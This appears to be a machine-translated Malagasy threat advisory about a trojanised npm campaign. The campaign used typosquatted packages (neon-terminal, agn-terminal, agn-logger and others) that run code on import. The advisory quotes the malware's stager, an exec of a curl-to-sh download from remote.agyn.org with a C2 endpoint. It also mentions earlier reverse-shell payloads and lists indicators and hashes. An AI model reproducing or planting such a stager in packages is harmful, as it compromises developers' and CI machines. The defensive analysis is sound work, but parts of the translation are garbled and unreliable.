TL, DR
Navoaka ny mpandraharaha npm tokana fonosana dimy voatrozona amin'ny fihodinana roa ao anatin'ny telo andro. Ireo fonosana ireo dia miseho ho toy ny terminal-color, logger, ary Postgres-client kely. Miasa ny kaody maloto raha vao ampidirina ny fonosana — tsy misy script fametrahana azo alaina.
Fihodinana iray (neon-terminal, neon-postgres, ne-logger) dia tsy navoaka tamin'ny 2026-07-05 tamin'ny 14:14 UTC. Fito amby fitopolo minitra taty aoriana Namoaka indray ilay trojan mitovy amin'ny anarana vaovao io kaonty io ihany (agn-terminal, agn-logger) — ary nanondro izany tany amin'ny teboka farany mitovy amin'ny baiko sy fanaraha-maso efa nampiasainy teo aloha: tracker.bvgroup.co.
Io mpampiantrano C2 io no famantarana tokana tafavoaka velona amin'ny fanovana anarana, ary ny zavatra haingana indrindra hotadiavin'ny mpiaro. Fahasarotana: ambonyEkosistema: npmMbola teo am-pelatanana ireo fonosana fihodinana faharoa tamin'ny fotoana nanoratana ity lahatsoratra ity.
Ny fanafihana: ny fomba fiasany
Fandrika azo ampiasaina ireo fonosana ireo. Sokafy agn-terminal ary mahita mpanampy loko ANSI feno sy miasa tsara ianao — Laharana, manohanaColor, miloko, hoso-doko — miaraka amin'ny karazana sy README. Miasa ny kaody utility. Voafatotry ny bokotra eo an-tampon'ny môdio fidirana, eo ambonin'ny kaody ilaina, misy andalana vitsivitsy izay miasa amin'ny import.
// agn-terminal 0.1.0 — src/index.js (top of module)
import { exec } from "node:child_process";
const child = exec(
"curl -fsSL https://remote.agyn.org/remote.sh | " +
"TRACKER_REMOTE_ENDPOINT='https://tracker.bvgroup.co/remote/…' sh",
{}, (error, stdout, stderr) => {},
);
Zavatra telo no mahatonga izany hahomby.
- Miasa izy io rehefa import, fa tsy rehefa install. Milaza ny fonosana fa tsia preinstall or aorian'ny fametrahana hook — toerana mahazatra jeren'ny scanner sy mpandinika. Ny exec kaody ambaratonga môdioly ny antso. Miasa voalohany izy io rehefa misy zavatra atao mitaky ("agn-terminal") or Ampidiro ny "agn-terminal", ao amin'ny milina mpamorona na ao anatin'ny CI. Samy ny fidirana ESM (src/index.js) sy ny fidirana CommonJS (cjs/src/index.js) mitondra entana mitovy, ka voasarona ireo rafitra môdioly roa.
- Ny tena entana dia miaina ivelan'ny fonosana. Stager andalana iray ihany no alefan'ny fonosana: fetch remote.agyn.org/remote.sh` ary alefaso any amin'ny sh`. Izay rehetra ampiasain'ny mpandraharaha avy amin'io URL io amin'ny fotoana fangatahana no miasa. Ny teboka farany C2 dia alefa any amin'ny script alaina amin'ny alàlan'ny TRACKER_REMOTE_ENDPOINT miovaova ny tontolo iainana, ka ny script dingana faharoa dia miantso ny fonenany tracker.bvgroup.co.
- Manitatra ny savaivotry ny fipoahana ny fonosana mpitondra entana. agn-logger dia fandrika faharoa — "mpijirika logger manerantany kely." Tsy manana entana manokana izy. Ny môdioly fidirana dia manao zavatra iray mifandraika amin'izany:
// agn-logger 0.1.0 — cjs/src/index.js
const { colorize, supportsColor } = require('agn-terminal');
Manambara izany agn-terminal ho toy ny fiankinan-doha ary manafatra azy. Ny fametrahana na fanafarana ny logger dia misintona sy mampandeha ny fonosana terminal amin'ny fomba tetezamita. Ny tetikasa izay tsy manonona mivantana ny Trojan dia mbola afaka manatanteraka izany amin'ny alàlan'ny logger.
Inona no vaovao eto?
Tsy nampiasa "remote stager" ny fihodinana voalohany. Nalefany an-tserasera ny "loadload" ary nohatsarainy isaky ny dikan-teny — "bash reverse shell" tao anatin'ny famoahana iray, a net.Socket akorandriaka mivadika ao amin'ny manaraka, a git add/commit/Atoseho ao amin'ny lahatahiry fiasan'ny niharam-boina ao amin'ny iray hafa, ary farany, agent HTTP command-and-control feno ao amin'ny terminal neon 0.9.0 izay nisoratra anarana ny mpampiantrano, nanao fanadihadiana momba ny asa, ary nitantana azy ireo tamin'ny exec(), ary alefa mivantana ny vokatra voafaoka base64. Ny fihodinana faharoa dia manambatra izany rehetra izany ho singa tokana miolikolika | sh, mamindra tanteraka ny dingana faharoa amin'ny rejisitra. Operator mitovy, fonosana mangina kokoa, entana mora ampiasaina kokoa — ary, tena zava-dehibe, ny C2 mitovy amin'ny teo aloha.
Timeline
Mielanelana telo andro ireo fihodinana roa ireo, ary 74 minitra ny elanelana teo amin'ny fanesorana sy ny fandefasana indray. Misokatra ny fampielezan-kevitra: ny agn-* mbola tsy nesorina ireo fonosana tamin'ny fotoana nanoratana ity.
Famantarana ny marimaritra iraisana
Tadiavo ao amin'ny rakitra hidin-trano sy ny hazo fiankinan-doha ny anaran'ny fonosana. Tadiavo ny proxy, DNS, ary BDU logs ho an'ny endpoints tambajotra. Ny mpampiantrano C2 tracker.bvgroup.co mandrakotra ny fihodinana roa ary io no tondro tokana manana sanda ambony indrindra.
Packages
terminal neon Voa madio ny 0.1.0 — tranomboky loko miasa tsy misy entana — navoaka mba hametrahana ny fonosana alohan'ny hanarahan'ireo dikan-teny mampidi-doza.
Network
fihetsika
- Module-level child_process.exec eo an-tampon'ny rakitra fidiran'ny fonosana utility, na amin'ny roa tonta src/index.js (ESM) ary cjs/src/index.js (CJS).
- A curl -fsSL … | sh andalana iray miaraka amin'ny C2 ampitaina amin'ny alalan'ny TRACKER_REMOTE_ENDPOINT tontolo iainana.
- Fonosana "utility" faharoa izay manambara ny voalohany ho toy ny fiankinan-doha ary manafatra azy, tsy misy entana manokana.
- Sisa tavela // terminal-neon fanehoan-kevitra eo an-tampon'ny agn-terminal — zavatra nadika sy napetahana mampifandray ny fanovana marika amin'ny tany am-boalohany.
Hash rakitra (SHA-256, fihodinana faharoa)
- agn-terminal src/index.js - 6d464cedf64f3a26fb8f5e61ee5730fe42be4135aa87429aeb514c4f97209bc7
- agn-terminal cjs/src/index.js - b85e80056a7607c49add12c1626881392a28e7d0e146e49a856d84725cfb46ac
- agn-logger src/index.js - 667a858c749d058d4546654cdda59e963a1a0cba97900feeb96753c2d768ff19
Fitondran-tena sy fiheverana voamarika
Ny fonosana tsirairay dia manaraka ny kaonty npm iray, vitalii-agyn, famoahana ao ambanin'ny mailaka tsy voamarina vitalii@agyn.ioNy metadata-n'ny rejisitra ao amin'ny kaonty dia mirakitra ireo fonosana telo fihodinana voalohany araka ny andraikiny. Ny fotodrafitrasa dia mampifandray ireo fihodinana ireo: ny sehatra agyn.org mifanaraka amin'ny an'ny mpamoaka agyn.io sehatra mailaka, ary ny mpampiantrano C2 tracker.bvgroup.co miseho amin'ny roa tonta terminal neon 0.9.0 and agn-terminal 0.1.0 — lalana mpanangona mitovy, ampiasaina ara-bakiteny aorian'ny fanovana anarana.
Lazainay izay asehon'ireo zavatra vita tanana ary mijanona eo izahay. Ny mailaka nolazain'ny mpamoaka dia vitalii@agyn.io; tsy mbola nohamarininay ny tompon'io adiresy io, ary tsy omenay anarana olona na vondrona voatonona anarana ny kaonty. Ny fampiasana indray ny teboka C2 iray amin'ny fianakaviana fonosana roa dia famantarana matanjaka ho an'ny mpandraharaha iray ihany, fa tsy maha-izy azy.
Niantehitra tamin'ny fifanilahan'ny marika ireo fonosana boribory iray. neon-postgres dia dika mitovy tanteraka amin'ny Porsager izay nampiasaina betsaka postgres.js mpanjifa, teny filamatra sy ny rehetra, miaraka amin'ny entana tafiditra ao anatiny src/errors.js ka lalana fanafarana mahazatra no hahatratra azy — ary ny neon- Ny prefix dia mindrana ny fahafantarana an'i Neon, ilay mpamatsy Postgres tsy misy mpizara. Ny anarana fihodinana faharoa dia nanafoana ny fisandohana anarana ary lasa generic (agn-terminal, agn-logger), nifanakalo ny fisintonana ny marika ho amin'ny fialan-tsasatra madio kokoa amin'ireo anarana may.
Fiantraikany, fironana ary torolàlana ho an'ny mpiaro
- Iza no miharihary. Izay rehetra mametraka sy mampiditra iray amin'ireo fonosana ireo, mivantana na amin'ny alalan'ny mpitatitra, amin'ny mpampiantrano mitovy amin'ny Unix. Mampiasa ny Curl sy sh; ny akorandriaka boribory iray dia ampiasaina bash sy /dev/tcpSatria ny fanatanterahana dia mitranga amin'ny fanafarana, ny mpizara fananganana izay mametraka ny fiankinan-doha ary mampandeha izay kaody mikasika azy dia ampy — tsy mila dingana aorian'ny fametrahana. Ao amin'ny toeram-piasana mpamorona na CI runner, ny dingana faharoa alaina dia miasa miaraka amin'ny tombontsoan'ny mpampiasa sy ny fahafahan'ny tambajotra feno.
- Nahoana no zava-dehibe ny fanatanterahana ny fotoana fanafarana. Nifantoka tamin'ny script fametrahana ny fiarovana ny rojo famatsiana, ary misy antony marim-pototra — ny postinstall no fototra iorenan'ny npm mahazatra. Ity fampielezan-kevitra ity dia misoroka izany tanteraka. Tsy misy fatorana fametrahana tokony ho marihina. Ny kaody manimba dia fanombohana môdioly tsotra, tsy azo avahana raha vao jerena amin'ny fonosana iray izay mikirakira tabilao fikarohana rehefa entina. Ny fitaovana izay mandinika ireo script ao amin'ny package.json ihany dia tsy mahita na inona na inona.
- Ny fironana amin'ny fanavaozana ny marika sy ny fampiasana indray. Ny famerenana 74 minitra no tantara. Nesorin'ny Takedown ireo anarana fa tsy ny mpandraharaha, ny fotodrafitrasa, na ny kaody. Tao anatin'ny adiny iray dia niverina indray ny fampielezan-kevitra tamin'ny anarana vaovao manondro ny C2 mitovy. Ny fanakanana mifototra amin'ny anarana — ny fandavana ny lisitra neon — dia efa lany andro. Ny fanakanana mifototra amin'ny fotodrafitrasa — ny fandavana ny lisitra bvgroup.co — dia ho nahatratra ny fihodinana faharoa rehefa tonga. Ho an'ny mpandraharaha mivantana izay mamoaka indray haingana kokoa noho ny fanesoran'ny rejisitra, ny mari-pamantarana maharitra dia ny teboka farany amin'ny tambajotra, fa tsy ny anaran'ny fonosana.
Inona no atao izao
- Grep lockfiles sy hazo napetraka ho an'ireo anaran'ny fonosana dimy etsy ambony. Hevero ho toy ny mpampiantrano voajirika izay lalao rehetra ary avereno ny fahazoan-dàlana azo avy aminy.
- Sakanana sy ampitandremana momba ireo sehatra bvgroup.co, agyn.org, ary ireo teboka farany ngrok ao amin'ny DNS sy ny sivana fivoahana. tracker.bvgroup.co no laharam-pahamehana.
- Aza miantehitra amin'ny "install-hook scanning" fotsiny. Ampio "detection" ho an'ny ambaratonga môdely. child_process ary antso an-tambajotra ao anatin'ny fiankinan-doha, ary ho an'ny miolikolika … | sh lamina ao amin'ny loharanon'ny fonosana.
- Hevero ho mendrika hojerena fanindroany ny fonosana fitaovana iray izay manambara fitaovana hafa tsy dia fantatra loatra ho hany iankinan'ny tenany, ary ampidirina rehefa vita ny fametrahana azy.
- Ao amin'ny CI, aleo kokoa – tsinontsinona-scripts raha azo ampiharina, saingy fantaro fa tsy manampy eto izany — miasa ny payload rehefa import, ka zava-dehibe kokoa ny fanaraha-maso ny fivoahana amin'ny fotoana fiasana sy ny famerenana ny fiankinan-doha.
References
- Postgres tsy misy mpizara Neon — ny marika neon-* Mindrana ny fomba amantarana azy ny anarana.
- Porsager postgres.js — ny mpanjifa neon-postgres klona.
